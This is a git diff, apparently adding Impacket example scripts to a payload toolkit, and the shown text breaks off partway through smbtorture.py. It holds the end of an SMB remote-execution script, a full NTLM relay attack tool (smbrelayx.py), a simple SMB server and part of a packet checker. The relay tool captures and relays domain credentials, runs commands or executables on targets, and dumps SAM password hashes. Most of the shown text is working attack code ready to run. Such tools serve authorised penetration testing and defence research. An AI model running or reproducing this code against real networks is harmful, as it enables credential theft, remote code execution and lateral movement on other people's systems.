do_CD(self, s): + return self.do_cd(s) + + def default(self, line): + if line != '': + self.send_data(line) + + def get_output(self): + def output_callback(data): + self.__outputBuffer += data + + if self.__mode == 'SHARE': + self.transferClient.getFile(self.__share, OUTPUT_FILENAME, output_callback) + self.transferClient.deleteFile(self.__share, OUTPUT_FILENAME) + else: + fd = open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'r') + output_callback(fd.read()) + fd.close() + os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME) + + def execute_remote(self, data): + command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + \ + self.__shell + self.__batchFile + if self.__mode == 'SERVER': + command += ' & ' + self.__copyBack + command += ' & ' + 'del ' + self.__batchFile + + logging.debug('Executing %s' % command) + resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command) + service = resp['lpServiceHandle'] + + try: + scmr.hRStartServiceW(self.__scmr, service) + except: + pass + scmr.hRDeleteService(self.__scmr, service) + scmr.hRCloseServiceHandle(self.__scmr, service) + self.get_output() + + def send_data(self, data): + self.execute_remote(data) + print self.__outputBuffer + self.__outputBuffer = '' + + +# Process command-line arguments. +if __name__ == '__main__': + # Init the example's logger theme + logger.init() + print version.BANNER + + parser = argparse.ArgumentParser() + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-share', action='store', default = 'C$', help='share where the output will be grabbed from ' + '(default C$)') + parser.add_argument('-mode', action='store', choices = {'SERVER','SHARE'}, default='SHARE', + help='mode to use (default SHARE, SERVER needs root!)') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('connection') + + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. ' + 'If ommited it use the domain part (FQDN) specified in the target parameter') + group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If ' + 'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS ' + 'name and you cannot resolve it') + group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", + help='Destination port to connect to SMB Server') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + else: + logging.getLogger().setLevel(logging.INFO) + + import re + domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('') + + #In case the password contains '@' + if '@' in remoteName: + password = password + '@' + remoteName.rpartition('@')[0] + remoteName = remoteName.rpartition('@')[2] + + if domain is None: + domain = '' + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if options.target_ip is None: + options.target_ip = remoteName + + if options.aesKey is not None: + options.k = True + + try: + executer = CMDEXEC(username, password, domain, options.hashes, options.aesKey, options.k, + options.dc_ip, options.mode, options.share, int(options.port)) + executer.run(remoteName, options.target_ip) + except Exception, e: + logging.critical(str(e)) + sys.exit(0) diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/smbrelayx.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/smbrelayx.py new file mode 100644 index 0000000..4c89943 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/smbrelayx.py @@ -0,0 +1,1111 @@ +#!/usr/bin/env python +# Copyright (c) 2013-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# SMB Relay Module +# +# Author: +# Alberto Solino (@agsolino) +# +# Description: +# This module performs the SMB Relay attacks originally discovered +# by cDc. It receives a list of targets and for every connection received it +# will choose the next target and try to relay the credentials. Also, if +# specified, it will first to try authenticate against the client connecting +# to us. +# +# It is implemented by invoking a SMB and HTTP Server, hooking to a few +# functions and then using the smbclient portion. It is supposed to be +# working on any LM Compatibility level. The only way to stop this attack +# is to enforce on the server SPN checks and or signing. +# +# If the target system is enforcing signing and a machine account was provided, +# the module will try to gather the SMB session key through +# NETLOGON (CVE-2015-0005) +# +# If the authentication against the targets succeed, the client authentication +# success as well and a valid connection is set against the local smbserver. +# It's up to the user to set up the local smbserver functionality. One option +# is to set up shares with whatever files you want to the victim thinks it's +# connected to a valid SMB server. All that is done through the smb.conf file or +# programmatically. +# + +import ConfigParser +import SimpleHTTPServer +import SocketServer +import argparse +import base64 +import logging +import os +import sys +from binascii import unhexlify, hexlify +from struct import pack, unpack +from threading import Thread + +from impacket import version +from impacket.dcerpc.v5 import nrpc +from impacket.dcerpc.v5 import transport +from impacket.dcerpc.v5.ndr import NULL +from impacket.examples import logger +from impacket.examples import serviceinstall +from impacket.nt_errors import ERROR_MESSAGES +from impacket.nt_errors import STATUS_LOGON_FAILURE, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NOT_SUPPORTED, \ + STATUS_MORE_PROCESSING_REQUIRED +from impacket.ntlm import NTLMAuthChallengeResponse, NTLMAuthNegotiate, NTLMAuthChallenge, AV_PAIRS, \ + NTLMSSP_AV_HOSTNAME, generateEncryptedSessionKey +from impacket.smb import NewSMBPacket, SMBCommand, SMB, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Extended_Data, \ + SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Extended_Response_Data, \ + SMBSessionSetupAndX_Parameters, SMBSessionSetupAndX_Extended_Parameters, TypesMech, \ + SMBSessionSetupAndXResponse_Parameters, SMBSessionSetupAndXResponse_Data +from impacket.smb3 import SMB3 +from impacket.smbconnection import SMBConnection +from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile, SMBSERVER +from impacket.spnego import ASN1_AID, SPNEGO_NegTokenResp, SPNEGO_NegTokenInit +from impacket.dcerpc.v5.rpcrt import DCERPCException + +try: + from Crypto.Cipher import DES, AES, ARC4 +except Exception: + logging.critical("Warning: You don't have any crypto installed. You need PyCrypto") + logging.critical("See http://www.pycrypto.org/") + +# Global Variables +# This is the list of hosts that have been attacked already in case -one-shot was chosen +ATTACKED_HOSTS = set() +CODEC = sys.getdefaultencoding() + +class doAttack(Thread): + def __init__(self, SMBClient, exeFile, command): + Thread.__init__(self) + + if isinstance(SMBClient, SMB) or isinstance(SMBClient, SMB3): + self.__SMBConnection = SMBConnection(existingConnection = SMBClient) + else: + self.__SMBConnection = SMBClient + + self.__exeFile = exeFile + self.__command = command + self.__answerTMP = '' + if exeFile is not None: + self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile) + + def __answer(self, data): + self.__answerTMP += data + + def run(self): + # Here PUT YOUR CODE! + global ATTACKED_HOSTS + if self.__exeFile is not None: + result = self.installService.install() + if result is True: + logging.info("Service Installed.. CONNECT!") + self.installService.uninstall() + else: + ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost()) + else: + from impacket.examples.secretsdump import RemoteOperations, SAMHashes + samHashes = None + try: + # We have to add some flags just in case the original client did not + # Why? needed for avoiding INVALID_PARAMETER + flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() + flags2 |= SMB.FLAGS2_LONG_NAMES + self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) + + remoteOps = RemoteOperations(self.__SMBConnection, False) + remoteOps.enableRegistry() + except Exception, e: + # Something wen't wrong, most probably we don't have access as admin. aborting + logging.error(str(e)) + ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost()) + return + + try: + if self.__command is not None: + remoteOps._RemoteOperations__executeRemote(self.__command) + logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) + self.__answerTMP = '' + self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) + logging.debug('Raw answer %r' % self.__answerTMP) + + try: + print self.__answerTMP.decode(CODEC) + except UnicodeDecodeError, e: + logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' + 'https://docs.python.org/2.4/lib/standard-encodings.html\nand then execute wmiexec.py ' + 'again with -codec and the corresponding codec') + print self.__answerTMP + + self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') + else: + bootKey = remoteOps.getBootKey() + remoteOps._RemoteOperations__serviceDeleted = True + samFileName = remoteOps.saveSAM() + samHashes = SAMHashes(samFileName, bootKey, isRemote = True) + samHashes.dump() + logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) + except Exception, e: + ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost()) + logging.error(str(e)) + finally: + if samHashes is not None: + samHashes.finish() + if remoteOps is not None: + remoteOps.finish() + + +class SMBClient(SMB): + def __init__(self, remote_name, extended_security = True, sess_port = 445): + self._extendedSecurity = extended_security + self.domainIp = None + self.machineAccount = None + self.machineHashes = None + + SMB.__init__(self,remote_name, remote_name, sess_port = sess_port) + + def neg_session(self): + neg_sess = SMB.neg_session(self, extended_security = self._extendedSecurity) + return neg_sess + + def setUid(self,uid): + self._uid = uid + + def login_standard(self, user, domain, ansiPwd, unicodePwd): + smb = NewSMBPacket() + smb['Flags1'] = 8 + + sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) + sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters() + sessionSetup['Data'] = SMBSessionSetupAndX_Data() + + sessionSetup['Parameters']['MaxBuffer'] = 65535 + sessionSetup['Parameters']['MaxMpxCount'] = 2 + sessionSetup['Parameters']['VCNumber'] = os.getpid() + sessionSetup['Parameters']['SessionKey'] = self._dialects_parameters['SessionKey'] + sessionSetup['Parameters']['AnsiPwdLength'] = len(ansiPwd) + sessionSetup['Parameters']['UnicodePwdLength'] = len(unicodePwd) + sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE + + sessionSetup['Data']['AnsiPwd'] = ansiPwd + sessionSetup['Data']['UnicodePwd'] = unicodePwd + sessionSetup['Data']['Account'] = str(user) + sessionSetup['Data']['PrimaryDomain'] = str(domain) + sessionSetup['Data']['NativeOS'] = 'Unix' + sessionSetup['Data']['NativeLanMan'] = 'Samba' + + smb.addCommand(sessionSetup) + + self.sendSMB(smb) + smb = self.recvSMB() + try: + smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) + except: + logging.error("Error login_standard") + return None, STATUS_LOGON_FAILURE + else: + self._uid = smb['Uid'] + return smb, STATUS_SUCCESS + + def setDomainAccount( self, machineAccount, machineHashes, domainIp): + self.machineAccount = machineAccount + self.machineHashes = machineHashes + self.domainIp = domainIp + if self._SignatureRequired is True: + if self.domainIp is None: + logging.error("Signature is REQUIRED on the other end, attack will not work") + else: + logging.info("Signature is REQUIRED on the other end, using NETLOGON approach") + + + def netlogonSessionKey(self, challenge, authenticateMessageBlob): + # Here we will use netlogon to get the signing session key + logging.info("Connecting to %s NETLOGON service" % self.domainIp) + + respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) + authenticateMessage = NTLMAuthChallengeResponse() + authenticateMessage.fromString(respToken2['ResponseToken'] ) + _, machineAccount = self.machineAccount.split('/') + domainName = authenticateMessage['domain_name'].decode('utf-16le') + + try: + av_pairs = authenticateMessage['ntlm'][44:] + av_pairs = AV_PAIRS(av_pairs) + + serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') + except: + # We're in NTLMv1, not supported + return STATUS_ACCESS_DENIED + + stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.domainIp + + rpctransport = transport.DCERPCTransportFactory(stringBinding) + + if len(self.machineHashes) > 0: + lmhash, nthash = self.machineHashes.split(':') + else: + lmhash = '' + nthash = '' + + if hasattr(rpctransport, 'set_credentials'): + # This method exists only for selected protocol sequences. + rpctransport.set_credentials(machineAccount,'', domainName, lmhash, nthash) + + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(nrpc.MSRPC_UUID_NRPC) + resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', '12345678') + + serverChallenge = resp['ServerChallenge'] + + if self.machineHashes == '': + ntHash = None + else: + ntHash = unhexlify(self.machineHashes.split(':')[1]) + + sessionKey = nrpc.ComputeSessionKeyStrongKey('', '12345678', serverChallenge, ntHash) + + ppp = nrpc.ComputeNetlogonCredential('12345678', sessionKey) + + nrpc.hNetrServerAuthenticate3(dce, NULL, machineAccount + '\x00', + nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00', + ppp, 0x600FFFFF) + + clientStoredCredential = pack('> 16 + packet['ErrorClass'] = errorCode & 0xff + + return None, [packet], STATUS_NOT_SUPPORTED + else: + logging.info("SMBD: Received connection from %s, attacking target %s" % (connData['ClientIP'] ,self.target)) + + try: + if recvPacket['Flags2'] & SMB.FLAGS2_EXTENDED_SECURITY == 0: + extSec = False + else: + if self.mode.upper() == 'REFLECTION': + # Force standard security when doing reflection + logging.info("Downgrading to standard security") + extSec = False + recvPacket['Flags2'] += (~SMB.FLAGS2_EXTENDED_SECURITY) + else: + extSec = True + client = SMBClient(self.target, extended_security = extSec) + client.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp) + client.set_timeout(60) + except Exception, e: + logging.error("Connection against target %s FAILED" % self.target) + logging.error(str(e)) + else: + encryptionKey = client.get_encryption_key() + smbData[self.target] = {} + smbData[self.target]['SMBClient'] = client + if encryptionKey is not None: + connData['EncryptionKey'] = encryptionKey + smbServer.setConnectionData('SMBRelay', smbData) + smbServer.setConnectionData(connId, connData) + return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket) + ############################################################# + + def SmbSessionSetupAndX(self, connId, smbServer, smbCommand, recvPacket): + + connData = smbServer.getConnectionData(connId, checkStatus = False) + ############################################################# + # SMBRelay + smbData = smbServer.getConnectionData('SMBRelay', False) + ############################################################# + + respSMBCommand = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) + global ATTACKED_HOSTS + + if connData['_dialects_parameters']['Capabilities'] & SMB.CAP_EXTENDED_SECURITY: + # Extended security. Here we deal with all SPNEGO stuff + respParameters = SMBSessionSetupAndX_Extended_Response_Parameters() + respData = SMBSessionSetupAndX_Extended_Response_Data() + sessionSetupParameters = SMBSessionSetupAndX_Extended_Parameters(smbCommand['Parameters']) + sessionSetupData = SMBSessionSetupAndX_Extended_Data() + sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength'] + sessionSetupData.fromString(smbCommand['Data']) + connData['Capabilities'] = sessionSetupParameters['Capabilities'] + + if unpack('B',sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID: + # If there no GSSAPI ID, it must be an AUTH packet + blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) + token = blob['ResponseToken'] + else: + # NEGOTIATE packet + blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) + token = blob['MechToken'] + + # Here we only handle NTLMSSP, depending on what stage of the + # authentication we are, we act on it + messageType = unpack('> 16 + packet['ErrorClass'] = errorCode & 0xff + + return None, [packet], STATUS_NOT_SUPPORTED + + # It might happen if the target connects back before a previous connection has finished, we might + # get to this function w/o having the dict and smbClient entry created, because a + # NEGOTIATE_CONNECTION was not needed + if smbData.has_key(self.target) is False: + smbData[self.target] = {} + smbClient = SMBClient(self.target) + smbClient.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp) + smbClient.set_timeout(60) + smbData[self.target]['SMBClient'] = smbClient + + smbClient = smbData[self.target]['SMBClient'] + clientChallengeMessage = smbClient.sendNegotiate(token) + challengeMessage = NTLMAuthChallenge() + challengeMessage.fromString(clientChallengeMessage) + ############################################################# + + respToken = SPNEGO_NegTokenResp() + # accept-incomplete. We want more data + respToken['NegResult'] = '\x01' + respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] + + respToken['ResponseToken'] = str(challengeMessage) + + # Setting the packet to STATUS_MORE_PROCESSING + errorCode = STATUS_MORE_PROCESSING_REQUIRED + # Let's set up an UID for this connection and store it + # in the connection's data + # Picking a fixed value + # TODO: Manage more UIDs for the same session + connData['Uid'] = 10 + # Let's store it in the connection data + connData['CHALLENGE_MESSAGE'] = challengeMessage + + elif messageType == 0x03: + # AUTHENTICATE_MESSAGE, here we deal with authentication + + ############################################################# + # SMBRelay: Ok, so now the have the Auth token, let's send it + # back to the target system and hope for the best. + smbClient = smbData[self.target]['SMBClient'] + authenticateMessage = NTLMAuthChallengeResponse() + authenticateMessage.fromString(token) + if authenticateMessage['user_name'] != '': + clientResponse, errorCode = smbClient.sendAuth(connData['CHALLENGE_MESSAGE']['challenge'], + sessionSetupData['SecurityBlob']) + else: + # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials + errorCode = STATUS_ACCESS_DENIED + + if errorCode != STATUS_SUCCESS: + # Let's return what the target returned, hope the client connects back again + packet = NewSMBPacket() + packet['Flags1'] = SMB.FLAGS1_REPLY | SMB.FLAGS1_PATHCASELESS + packet['Flags2'] = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY + packet['Command'] = recvPacket['Command'] + packet['Pid'] = recvPacket['Pid'] + packet['Tid'] = recvPacket['Tid'] + packet['Mid'] = recvPacket['Mid'] + packet['Uid'] = recvPacket['Uid'] + packet['Data'] = '\x00\x00\x00' + packet['ErrorCode'] = errorCode >> 16 + packet['ErrorClass'] = errorCode & 0xff + # Reset the UID + smbClient.setUid(0) + logging.error("Authenticating against %s as %s\%s FAILED" % ( + self.target, authenticateMessage['domain_name'], authenticateMessage['user_name'])) + # del (smbData[self.target]) + return None, [packet], errorCode + else: + # We have a session, create a thread and do whatever we want + logging.info("Authenticating against %s as %s\%s SUCCEED" % ( + self.target, authenticateMessage['domain_name'], authenticateMessage['user_name'])) + ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'], + authenticateMessage['user_name'], + authenticateMessage['domain_name'], + authenticateMessage['lanman'], authenticateMessage['ntlm']) + logging.info(ntlm_hash_data['hash_string']) + if self.server.getJTRdumpPath() != '': + writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], + self.server.getJTRdumpPath()) + del (smbData[self.target]) + + # Target will be attacked, adding to the attacked set + # If the attack fails, the doAttack thread will be responsible of removing it from the set + ATTACKED_HOSTS.add(self.target) + clientThread = doAttack(smbClient,self.exeFile,self.command) + clientThread.start() + + # Now continue with the server + ############################################################# + + # Return status code of the authentication process. + errorCode = self.returnStatus + logging.info("Sending status code %s after authentication to %s" % ( + ERROR_MESSAGES[self.returnStatus][0], connData['ClientIP'])) + + respToken = SPNEGO_NegTokenResp() + # accept-completed + respToken['NegResult'] = '\x00' + + # Status SUCCESS + # Let's store it in the connection data + connData['AUTHENTICATE_MESSAGE'] = authenticateMessage + else: + raise Exception("Unknown NTLMSSP MessageType %d" % messageType) + + respParameters['SecurityBlobLength'] = len(respToken) + + respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] + respData['SecurityBlob'] = respToken.getData() + + else: + # Process Standard Security + respParameters = SMBSessionSetupAndXResponse_Parameters() + respData = SMBSessionSetupAndXResponse_Data() + sessionSetupParameters = SMBSessionSetupAndX_Parameters(smbCommand['Parameters']) + sessionSetupData = SMBSessionSetupAndX_Data() + sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength'] + sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength'] + sessionSetupData.fromString(smbCommand['Data']) + connData['Capabilities'] = sessionSetupParameters['Capabilities'] + ############################################################# + # SMBRelay + smbClient = smbData[self.target]['SMBClient'] + if sessionSetupData['Account'] != '': + clientResponse, errorCode = smbClient.login_standard(sessionSetupData['Account'], + sessionSetupData['PrimaryDomain'], + sessionSetupData['AnsiPwd'], + sessionSetupData['UnicodePwd']) + else: + # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials + errorCode = STATUS_ACCESS_DENIED + + if errorCode != STATUS_SUCCESS: + # Let's return what the target returned, hope the client connects back again + packet = NewSMBPacket() + packet['Flags1'] = SMB.FLAGS1_REPLY | SMB.FLAGS1_PATHCASELESS + packet['Flags2'] = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY + packet['Command'] = recvPacket['Command'] + packet['Pid'] = recvPacket['Pid'] + packet['Tid'] = recvPacket['Tid'] + packet['Mid'] = recvPacket['Mid'] + packet['Uid'] = recvPacket['Uid'] + packet['Data'] = '\x00\x00\x00' + packet['ErrorCode'] = errorCode >> 16 + packet['ErrorClass'] = errorCode & 0xff + # Reset the UID + smbClient.setUid(0) + return None, [packet], errorCode + # Now continue with the server + else: + # We have a session, create a thread and do whatever we want + ntlm_hash_data = outputToJohnFormat('', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], + sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) + logging.info(ntlm_hash_data['hash_string']) + if self.server.getJTRdumpPath() != '': + writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], + self.server.getJTRdumpPath()) + # Remove the target server from our connection list, the work is done + del (smbData[self.target]) + # Target will be attacked, adding to the attacked set + # If the attack fails, the doAttack thread will be responsible of removing it from the set + ATTACKED_HOSTS.add(self.target) + clientThread = doAttack(smbClient, self.exeFile, self.command) + clientThread.start() + # Now continue with the server + + + ############################################################# + + # Do the verification here, for just now we grant access + # TODO: Manage more UIDs for the same session + errorCode = self.returnStatus + logging.info("Sending status code %s after authentication to %s" % ( + ERROR_MESSAGES[self.returnStatus][0], connData['ClientIP'])) + connData['Uid'] = 10 + respParameters['Action'] = 0 + + respData['NativeOS'] = smbServer.getServerOS() + respData['NativeLanMan'] = smbServer.getServerOS() + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData + + # From now on, the client can ask for other commands + connData['Authenticated'] = True + ############################################################# + # SMBRelay + smbServer.setConnectionData('SMBRelay', smbData) + ############################################################# + smbServer.setConnectionData(connId, connData) + + return [respSMBCommand], None, errorCode + + def _start(self): + self.server.serve_forever() + + def run(self): + logging.info("Setting up SMB Server") + self._start() + + def setTargets(self, targets): + self.target = targets + + def setExeFile(self, filename): + self.exeFile = filename + + def setCommand(self, command): + self.command = command + + def setReturnStatus(self, returnStatus): + # Specifies return status after successful relayed authentication to return + # to the connecting client. This comes useful when we don't want the connecting + # client to store successful credentials in his memory. Valid statuses: + # STATUS_SUCCESS - denotes that the connecting client passed valid credentials, + # which will make him store them accordingly. + # STATUS_ACCESS_DENIED - may occur for instance when the client is not a Domain Admin, + # and got configured Remote UAC, thus preventing connection to ADMIN$ + # STATUS_LOGON_FAILURE - which will tell the connecting client that the passed credentials + # are invalid. + self.returnStatus = { + 'success' : STATUS_SUCCESS, + 'denied' : STATUS_ACCESS_DENIED, + 'logon_failure' : STATUS_LOGON_FAILURE + }[returnStatus.lower()] + + def setMode(self,mode, one_shot): + self.mode = mode + self.one_shot = one_shot + + def setDomainAccount( self, machineAccount, machineHashes, domainIp): + self.machineAccount = machineAccount + self.machineHashes = machineHashes + self.domainIp = domainIp + +# Process command-line arguments. +if __name__ == '__main__': + + RELAY_SERVERS = ( SMBRelayServer, HTTPRelayServer ) + # Init the example's logger theme + logger.init() + print version.BANNER + parser = argparse.ArgumentParser(add_help=False, + description="For every connection received, this module will try to SMB relay that " + " connection to the target system or the original client") + parser.add_argument("--help", action="help", help='show this help message and exit') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-h', action='store', metavar='HOST', + help='Host to relay the credentials to, if not it will relay it back to the client') + parser.add_argument('-s', action='store', choices={'success', 'denied', 'logon_failure'}, default='success', + help='Status to return after client performed authentication. Default: "success".') + parser.add_argument('-e', action='store', required=False, metavar='FILE', + help='File to execute on the target system. If not specified, hashes will be dumped ' + '(secretsdump.py must be in the same directory)') + parser.add_argument('-c', action='store', type=str, required=False, metavar='COMMAND', + help='Command to execute on target system. If not specified, hashes will be dumped ' + '(secretsdump.py must be in the same directory)') + parser.add_argument('-one-shot', action='store_true', default=False, + help='After successful authentication, only execute the attack once for each target') + parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' + '"%s"). If errors are detected, run chcp.com at the target, ' + 'map the result with ' + 'https://docs.python.org/2.4/lib/standard-encodings.html and then execute wmiexec.py ' + 'again with -codec and the corresponding codec ' % CODEC) + parser.add_argument('-outputfile', action='store', + help='base output filename for encrypted hashes. Suffixes will be added for ntlm and ntlmv2') + parser.add_argument('-machine-account', action='store', required=False, + help='Domain machine account to use when interacting with the domain to grab a session key for ' + 'signing, format is domain/machine_name') + parser.add_argument('-machine-hashes', action="store", metavar="LMHASH:NTHASH", + help='Domain machine hashes, format is LMHASH:NTHASH') + parser.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON') + + try: + options = parser.parse_args() + except Exception, e: + logging.error(str(e)) + sys.exit(1) + + if options.codec is not None: + CODEC = options.codec + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + else: + logging.getLogger().setLevel(logging.INFO) + + if options.h is not None: + logging.info("Running in relay mode") + mode = 'RELAY' + targetSystem = options.h + else: + logging.info("Running in reflection mode") + targetSystem = None + mode = 'REFLECTION' + + exeFile = options.e + Command = options.c + returnStatus = options.s + + for server in RELAY_SERVERS: + s = server(options.outputfile) + s.setTargets(targetSystem) + s.setExeFile(exeFile) + s.setCommand(Command) + s.setReturnStatus(returnStatus) + s.setMode(mode, options.one_shot) + if options.machine_account is not None and options.machine_hashes is not None and options.domain is not None: + s.setDomainAccount( options.machine_account, options.machine_hashes, options.domain) + elif (options.machine_account is None and options.machine_hashes is None and options.domain is None) is False: + logging.error("You must specify machine-account/hashes/domain all together!") + sys.exit(1) + + s.start() + + print "" + logging.info("Servers started, waiting for connections") + while True: + try: + sys.stdin.read() + except KeyboardInterrupt: + sys.exit(1) + else: + pass + diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/smbserver.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/smbserver.py new file mode 100644 index 0000000..d7437d7 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/smbserver.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Simple SMB Server example. +# +# Author: +# Alberto Solino (@agsolino) +# + +import sys +import argparse +import logging + +from impacket.examples import logger +from impacket import smbserver, version + +if __name__ == '__main__': + + # Init the example's logger theme + logger.init() + print version.BANNER + + parser = argparse.ArgumentParser(add_help = True, description = "This script will launch a SMB Server and add a " + "share specified as an argument. You need to be root in order to bind to port 445. " + "No authentication will be enforced. Example: smbserver.py -comment 'My share' TMP " + "/tmp") + + parser.add_argument('shareName', action='store', help='name of the share to add') + parser.add_argument('sharePath', action='store', help='path of the share to add') + parser.add_argument('-comment', action='store', help='share\'s comment to display when asked for shares') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + try: + options = parser.parse_args() + except Exception, e: + logging.critical(str(e)) + sys.exit(1) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + else: + logging.getLogger().setLevel(logging.INFO) + + if options.comment is None: + comment = '' + else: + comment = options.comment + + server = smbserver.SimpleSMBServer() + + server.addShare(options.shareName.upper(), options.sharePath, comment) + server.setSMB2Support(options.smb2support) + + # Here you can set a custom SMB challenge in hex format + # If empty defaults to '4141414141414141' + # (remember: must be 16 hex bytes long) + # e.g. server.setSMBChallenge('12345678abcdef00') + server.setSMBChallenge('') + + # If you don't want log to stdout, comment the following line + # If you want log dumped to a file, enter the filename + server.setLogFile('') + + # Rock and roll + server.start() + diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/smbtorture.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/smbtorture.py new file mode 100644 index 0000000..0f6aa43 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/smbtorture.py @@ -0,0 +1,466 @@ +#!/usr/bin/env python +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Parses a pcap file or sniffes traffic from the net and checks the SMB structs for errors. +# Log the error packets in outFile +# +# Author: +# Alberto Solino +# +# ToDo: +# [ ] Add more SMB Commands +# [ ] Do the same for DCERPC + +import struct +from select import select +import socket +import argparse +from impacket import pcapfile, smb, nmb, ntlm, version +from impacket import ImpactPacket, ImpactDecoder, structure + +# Command handler + +def smbTransaction2( packet, packetNum, SMBCommand, questions, replies): + # Test return code is always 0, otherwise leave before doing anything + if packet['ErrorCode'] != 0: + return False + + print "SMB_COM_TRANSACTION2 ", + try: + if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0: + # Query + + trans2Parameters= smb.SMBTransaction2_Parameters(SMBCommand['Parameters']) + + # Do the stuff + if trans2Parameters['ParameterCount'] != trans2Parameters['TotalParameterCount']: + # TODO: Handle partial parameters + #print "Unsupported partial parameters in 